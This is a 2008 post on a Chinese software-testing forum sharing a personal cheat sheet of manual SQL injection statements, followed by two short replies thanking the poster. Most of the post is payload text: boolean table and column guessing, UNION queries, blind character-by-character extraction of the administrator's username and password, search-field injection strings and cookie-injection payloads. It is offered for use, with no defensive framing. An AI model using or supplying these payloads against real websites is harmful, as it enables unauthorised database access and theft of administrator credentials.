51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 4124|回复: 2
打印 上一主题 下一主题

手工注入猜解语句

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2008-9-30 14:31:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
联合查询:
select name,password,id from user union select user,pwd,uid from
爆指定表名内容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解码法:
1、猜解列长度
猜解语句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是数字,变换这个N的值猜解列长度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII码分析法猜解用户和密码
ASC()函数和Mid函数
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:
and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
区间判断语句:
“......between......and......”
中文处理法:
当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
ASCII逐字解码法的应用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理员用户个数:
and (select count(*) from 表名)=1
返回正常,表中有一条记录。
4、猜解管理员用户名的长度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理员用户名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。
搜索型注入漏洞利用猜解语句:
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了。

cookie注入语句:
javascript:alert(document.cookie="id="+escape("44 and 1=1"));
javascript:alert(document.cookie="id="+escape("44 and 1=2"));
猜解语句:
猜解长度:
javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解内容:
javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

该用户从未签到

2#
发表于 2008-10-6 13:24:20 | 只看该作者
不错,感谢版主分享。
回复 支持 反对

使用道具 举报

该用户从未签到

3#
发表于 2008-10-8 21:20:51 | 只看该作者
谢谢lz,先看下,以后细细品味。
回复 支持 反对

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-4-20 10:07 , Processed in 0.070234 second(s), 32 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表